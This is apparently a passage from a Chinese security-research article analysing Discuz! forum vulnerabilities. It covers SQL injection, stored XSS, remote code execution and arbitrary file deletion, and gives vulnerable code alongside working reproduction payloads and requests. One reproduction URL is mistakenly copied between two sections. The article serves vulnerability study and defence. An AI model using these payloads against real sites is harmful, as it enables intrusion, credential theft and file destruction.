在该段代码中,首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。为什么这个操作就造成了注入?在《高级PHP应用程序漏洞审核技术》[1]一文里的"魔术引号带来的新的安全问题"一节里,有提到通过提取魔术引号产生的“\”字符带来的安全问题,同样这个问题在这里又一次完美体现。Discuz!在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

同时,经过处理的数据进入SQL语句前,将会通过implodeids函数进行处理了一遍,implodeids函数如下:

function implodeids($array) {
    if(!empty($array)){
        return"'".implode("','", is_array($array) ? $array :array($array))."'";
    } else {
        return '';
    }
}

这个函数将之前的groupids[]数据进行分割,组成一个类似于'1','2','3','4'的字符串返回。但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:'1','\','3','4'

我们看到第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。这样3这个位置就等于逃逸出了单引号,也就是产生的注入。我们把报错语句放在3这个位置,就能报错。最终可以构造SQL注入,进行攻击。

2.漏洞复现

*以下是该漏洞的复现方式。访问地址为:

· siteserver/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

出现如下图页面,即利用成功:

图片4.png

2.1.2 Discuz! 7.2 /search.php SQL注入漏洞

1.漏洞原理

该漏洞最早见诸在乌云漏洞库中,该漏洞存在于文件/include/search_sort.inc.php中,具体代码及说明如下:

if((!$searchoption || !is_array($searchoption)) && !$selectsortid) {
showmessage('search_threadtype_invalid',
"search.php?srchtype=threadsort&sortid=$selectsortid&srchfid=$fid");
} elseif(isset($srchfid) && $srchfid != 'all' && !(is_array($srchfid) && in_array('all', $srchfid)) && empty($forumsarray)) {
showmessage('search_forum_invalid', "search.php?srchtype=threadsort&sortid=$selectsortid&srchfid=$fid");
} elseif(!$fids) {
showmessage('group_nopermission', NULL, 'NOPERM');
}
if($maxspm) {
if($db->result_first("SELECT COUNT(*) FROM {$tablepre}searchindex WHERE dateline>'$timestamp'-60") >= $maxspm) {
showmessage('search_toomany', 'search.php');
}
}
@include_once DISCUZ_ROOT.'./forumdata/cache/threadsort_'.$selectsortid.'.php';
$sqlsrch = $or = '';

其中$selectsortid变量没有做过任何处理,

@include_once DISCUZ_ROOT.'./forumdata/cache/threadsort_'.$selectsortid.'.php';

然后进入到了170行的SQL语句中,造成了SQL注入漏洞。

@include_once DISCUZ_ROOT.'./forumdata/cache/threadsort_'.$selectsortid.'.php';

2.漏洞复现

*以下是该漏洞的复现方式。访问地址为:

siteserver/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

出现如下图页面,即利用成功:

图片5.png

2.1.3 Discuz!x3.2 misc.php SQL注入漏洞

1.漏洞原理

该漏洞存在于Discuz!X3.2版本,由于加入了Discuz!X3系列的框架中都加入了SQL注入过滤模块,所以该漏洞属于Discuz!X3系列中少有的SQL注入漏洞。我们来看一下该漏洞,漏洞存在于/source/include/misc/misc_stat.php文件中:

if(!empty($_GET['xml'])) {
    $xaxis = '';
    $graph = array();
    $count = 1;
    $begin = dgmdate($beginunixstr, 'Ymd');
    $end = dgmdate($endunixstr, 'Ymd');
    $field = '*';
    if(!empty($_GET['merge'])) {
        if(empty($_GET['types'])) {
            $_GET['types'] = array_merge($cols['login'], $cols['forum'], $cols['tgroup'], $cols['home'], $cols['space']);
        }
        $field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic';
        $type = 'statistic';
    }
    foreach(C::t('common_stat')->fetch_all($begin, $end, $field) as $value) {
        $xaxis .= "<value xid='$count'>".substr($value['daytime'], 4, 4)."</value>";
        if($type == 'all') {
            foreach ($cols as $ck => $cvs) {
                if($ck == 'login') {
                    $graph['login'] .= "<value xid='$count'>$value[login]</value>";
                    $graph['register'] .= "<value xid='$count'>$value[register]</value>";
                } else {
                    $num = 0;
                    foreach ($cvs as $cvk) {
                        $num = $value[$cvk] + $num;
                    }
                    $graph[$ck] .= "<value xid='$count'>".$num."</value>";
                }
            }
        } else {
            //var_dump($value);exit;
            if(empty($_GET['types']) || !empty($_GET['merge'])) {
                $graph[$type] .= "<value xid='$count'>".$value[$type]."</value>";
            } else {
                foreach($_GET['types'] as $t) {
                    $graph[$t] .= "<value xid='$count'>".$value[$t]."</value>";
                }
            }
        }
        $count++;
    }
    $xml = '';
    $xml .= '<'."?xml version=\"1.0\" encoding=\"utf-8\"?>";
    $xml .= '<chart><xaxis>';
    $xml .= $xaxis;
    $xml .= "</xaxis><graphs>";
    $count = 0;
    foreach ($graph as $key => $value) {
        $xml .= "<graph gid='$count' title='".diconv(lang('spacecp', "do_stat_$key"), CHARSET, 'utf8')."'>";
        $xml .= $value;
        $xml .= '</graph>';
        $count++;
    }
    $xml .= '</graphs></chart>';
    @header("Expires: -1")
    @header("Cache-Control: no-store, private, post-check=0, pre-check=0, max-age=0", FALSE);
    @header("Pragma: no-cache");
    @header("Content-type: application/xml; charset=utf-8");
    echo $xml;
    exit();
}

在该行代码中:

$field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic';

将$_GET['type']数组直接用+分割,并没有过滤。并且因为位置在$field的地方,并不在单引号中,所以不用引入单引号,也无需考虑addslashes。

该漏洞利用最难的一点在于绕过Discuz!防注入模块,任何在SQL注入中用到的单双引号、小括号均无法在此用到,所以这里利用mysql的特性,一次查询两个表,将pre_ucenter_members的数据连带着查询出来,因为pre_common_statuser表中存在`daytime`这个列。而且这个表中也有uid这个列,正好可以作为pre_ucenter_members的筛选项。并且在某些情况下,`能作为注释符用。因为mysql会自动给sql语句结尾没有闭合的`闭合掉,这样,只要让mysql人为后面那一大串字符是一个字段的“别名”即可。

2.漏洞复现

*以下是该漏洞的复现方式。访问地址为:

0x01:

首先登录前台(需要有管理员权限的账户),然后访问:

· http://siteserver/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=password%60as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as

图片6.png

出现页面如下,则成功利用:

2.2 XSS注入漏洞

XSS注入漏洞广泛存在于Discuz!各版本当中,无论是Dicuz!还是Discuz!X都存在很多XSS漏洞,Discuz!中的XSS漏洞主要集中在反射型XSS漏洞以及存储型XSS漏洞,当然,存储型XSS漏洞的威胁性远高于反射型XSS漏洞。下来我们将介绍Discuz!漏洞中具有代表性的XSS漏洞。

2.2.1 Discuz! x3 bbcode.js 存储型XSS注入漏洞

1.漏洞原理

该漏洞的主要原因主要原因是由于/static/js/bbcode.js 文件中的 bbcode2html() 函数对 shortcode 进行正则替换时,导致可以构造 payload,让编辑器渲染时形成 XSS。

在bbcode.js文件中:

image.png

但是对email参数部分的 shortcode 正则替换仍能造成 XSS。新的 payload 形态为:2&quot;onmouseover=";alert(2),攻击者可以将 payload 作为帖子内容或者评论,在管理员或者有权限人员对包含 payload 的帖子或者评论进行编辑时,利用 onmouseover 触发 JS 执行。

2.漏洞复现

*以下是该漏洞的复现方式

当然,首先必须进入DedeCMS的后台,进入后访问如下PoC:

首先登录前台,随便一个版块创建一个帖子,输入如下payload:

2&quot;onmouseover=&quot;alert(2)

提交,然后点击编辑,则可以触发弹窗

图片7.png

2.3远程代码执行漏洞

2.3.1 Discuz!7.x discuzcode.func.php远程代码执行漏洞

1.漏洞原理

Discuz 7.x系列discuzcode.func.php文件中,preg_replace执行了全局变量,全局变量可cookie提交,导致产生代码执行漏洞。

首先在include/global.func.php代码中:

function daddslashes($string, $force = 0) {
        !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
        if(!MAGIC_QUOTES_GPC || $force) {
                if(is_array($string)) {
                        foreach($string as $key => $val) {
                                $string[$key] = daddslashes($val, $force);
                        }
                } else {
                        $string = addslashes($string);
                }
        }
        return $string;
}
include/common.inc.php里:
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
        foreach($$_request as $_key => $_value) {
                $_key{0} != '_' && $$_key = daddslashes($_value);//变量引入
        }
}

模拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而Discuz!的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少。但是还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了。为了防止这种情况,Discuz!中有如下代码:

if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
        exit('Request tainting attempted.');
}

但是在PHP之后的版本request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了。在include/discuzcode.func.php文件中:

function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) {
    global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowattachurl;
    if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[ /code]') || strpos($message, '[ /CODE]')) !== FALSE) {
        $message = preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp('\\1')", $message);
    }
    $msglower = strtolower($message);
    //$htmlon = $htmlon && $allowhtml ? 1 : 0;
    if(!$htmlon) {
        $message = $jammer ? preg_replace("/\r\n|\n|\r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspecialchars($message);
    }
    if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smilies'])) {
        if(!$discuzcodes['smiliesreplaced']) {
            foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) {
                $GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies/'.$GLOBALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'.$key.'" border="0" alt="" />';
            }
            $discuzcodes['smiliesreplaced'] = 1;
        }
    $message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
    }
    ......

其中:

$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);

让 preg_replace 加上/e 修正符,最终产生了代码执行。

2.漏洞复现

*以下是该漏洞的复现方式

首先需要登录一个前台账户,首先在一个帖子中进行回复,回复中必须带有一个表情符号。

然后访问http://serversite/viewthread.php?tid=12&extra=page%3D1,使用burpsuite抓包,在cookie中加入:

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

然后就可触发phpinfo()函数。

图片8.png

2.3.2 Discuz!x3 convert模块远程代码执行漏洞

1.漏洞原理

Convert模块是Discuz!自动升级转换组件,该问题是由于组件中的index.php文件对newconfig参数过滤不严格,导致攻击者可以向/data/config.inc.php文件中写入任意代码,造成代码执行漏洞。  

在\utility\convert\include\do_config.inc.php文件中:

<?php
 
/**
 * DiscuzX Convert
 *
 * $Id: do_config.inc.php 10469 2010-05-11 09:12:14Z monkey $
 */
if(!defined('DISCUZ_ROOT')) {
exit('Access error');
}
$configfile = DISCUZ_ROOT.'./data/config.inc.php';
$configfile_default = DISCUZ_ROOT.'./data/config.default.php';
@touch($configfile);
if(!is_writable($configfile)) {
showmessage('config_write_error');
}
 
$config_default = loadconfig('config.default.php');
$error = array();
if(submitcheck()) {
$newconfig = getgpc('newconfig');
if(is_array($newconfig)) {
$checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target');
foreach ($checkarray as $key) {
if(!empty($newconfig[$key]['dbhost'])) {
$check = mysql_connect_test($newconfig[$key], $key);
if($check < 0) {
$error[$key] = lang('mysql_connect_error_'.abs($check));
}
} else {
$error[$key] = lang('mysql_config_error');
}
}
save_config_file($configfile, $newconfig, $config_default);
if(empty($error)) {
$db_target = new db_mysql($newconfig['target']);
$db_target->connect();
delete_process('all');
showmessage('config_success', 'index.php?a=select&source='.$source);
}
}
}
showtips('如果无法显示设置项目,请删除文件 data/config.inc.php');
$config = loadconfig('config.inc.php');
if(empty($config)) {
$config = $config_default;
}
show_form_header();
show_config_input('source', $config['source'], $error['source']);
show_config_input('target', $config['target'], $error['target']);
if($setting['config']['ucenter']) {
show_config_input('ucenter', $config['ucenter'], $error['ucenter']);
}
show_form_footer('submit', 'config_save');
?>

在newconfig数组中的key值未被处理过滤,Key值被写入文件代码中,最终造成代码执行。

2.漏洞复现

*以下是该漏洞的复现方式

POST:
http://siteserver/utility/convert/index.php?a=config&source=d7.2_x2.0
newconfig[aaa%0a%0dphpinfo();//]=aaaa&submit=yes

最终出现如下页面:

图片9.png

注:由于该模块是用于Discuz!升级的模块,所以payload中source需要写入从低版本向高版本转化。

2.4远程文件删除漏洞

Discuz!X3.4版本以及之前版本爆发过一个远程文件删除漏洞,该漏洞利用方式简单,虽然无法GetShell,但是其破坏性是非常大的。

1.漏洞原理

首先在source/include/spacecp/spacecp_profile.php中,其中,unlink函数是该漏洞的触发点,这段代码是在结束了foreach循环操作后,再对外部$_GET进来的deletefile进行处理:

if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') {  @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);   @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
}

代码中首先判断了外部是否含有deletefile数组,然后对$_G[‘cache&’]['profilesetting'][$key]进行判断,看里面是否有值,其中最重要的地方在于$_GET['deletefile'] as $key = $value,这一步将外部的参数赋值给了$key值,$space[$key]则是数据库中个人资料的值。我们只要把个人资料的值变为File类型,然后通过触发上面代码动作文件上传就可以执行任意文件删除漏洞了。

if($_FILES) {
$upload = new discuz_upload();
foreach($_FILES as $key => $file) {
if(!isset($_G['cache']['profilesetting'][$key])) {
continue;
}
$field = $_G['cache']['profilesetting'][$key];
if((!empty($file) && $file['error'] == 0) || (!empty($space[$key]) && empty($_GET['deletefile'][$key]))) {
$value = '1';
} else {
$value = '';
}
if(!profile_check($key, $value, $space)) {
profile_showerror($key);
} elseif($field['size'] && $field['size']*1024 < $file['size']) {
profile_showerror($key, lang('spacecp', 'filesize_lessthan').$field['size'].'KB');
}
$upload->init($file, 'profile');
$attach = $upload->attach;
if(!$upload->error()) {
$upload->save();
if(!$upload->get_image_info($attach['target'])) {
@unlink($attach['target']);
continue;
}
$setarr[$key] = '';
$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {   @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}
}
}

整个漏洞的触发流程是:

修改个人信息中的字段为文件—>上传文件—>执行unlink—>删除任意文件

2.漏洞复现

*以下是该漏洞的复现方式

第一步:首先在服务器根目录下创建一个1.txt文件。

第二步:然后注册一个账号,进入前台后,使用POST方法:

POST:
http://siteserver/upload/home.php?mod=spacecp&ac=profile&op=base
birthprovince=../../../1.txt&profilesubmit=1&formhash={该页面下的formhash}

第三步:编写一个如图的HTML文件,ip端口以及formhash根据当时页面确定。

图片10.png

第四步:运HTML页面,上传一张图片,文件即被删除。

图片11.png

三、总结

CMS漏洞分析已经走到了第三个模块了,回顾之前的分析成果,就如前文所说,PHP语言很灵活,开发WEB效率最高,对服务器环境要求较低,成本便宜,也易扩展,但是其安全性确实较低,高开发效率注定l 系统中很多处理逻辑不够严谨,代码不够规范。但是其开源的本质,使得众多安全研究员为它们差缺补漏,所以在这些成熟的PHP类CMS系统最新的版本中,被爆出的漏洞数量已经明显减少。其中我归纳的原因有以下几条:

1.PHP语言已经经过多年发展,PHP语言本身的安全性已有很大的提高,最终导致PHP类CMS的漏洞数量减少。

2.CMS行业竞争越来越激烈,CMS开发组也已逐渐重视安全,架构中已经加入了安全过滤模块,并且在进行持续优化。

3.代码审计以及漏洞挖掘技术现在要求较高,漏洞挖掘对绕过技巧的要求也越来越高。

但是,随着漏洞挖掘的深入,现在CMS所爆发出的漏洞危害性都很大,例如近年来PHPCMS、DedeCMS、Discuz!所爆出的漏洞,基本最终都能GetSehll,漏洞的绕过方式越难,所触及到的基本都是框架的核心点(核心框架或者核心功能)或者是薄弱点(即功能存在,但是使用量较小)。另外,从近年来爆发的漏洞来看,CMS框架的后台始终是一个“法外之地”,CMS的后台充满了任意文件上传、任意代码执行、本地文件包含等高危漏洞,而且利用条件很低,基本上只要进入后台,就可以GetShell,这方面DedeCMS是最为明显的,包括最新版本都还包含着这些漏洞。后台高危漏洞是不容忽视的一块高位领域。

安全是信息时代的生命线,安全研究人员分析漏洞的最终目的是为了更好地防御各种利用漏洞的攻击以及增强各个漏洞的检测能力。作为一个致力于Web安全的安全研究员,PHP类Web安全是我无法忽视的一个阵地。对于本文中的Discuz!,笔者经过长时间的分析与总结,为的就是提升这些漏洞的检测能力以及防御能力,最终为用户的WEB安全修上一堵墙。Dicuz!虽然使用面广,但是安全依旧较多。一个漏洞的出现,对于用户来说,那么就意味着自己的资产陷入了危险的境遇之中,所以对漏洞的提前的防御与预知,防范于未然,是很有必要的。

攻防的较量从未停止,黑帽子与白帽子间的斗争也越演越烈。在Web安全这个战场上,需要持续深入地研究,才能占有主动权。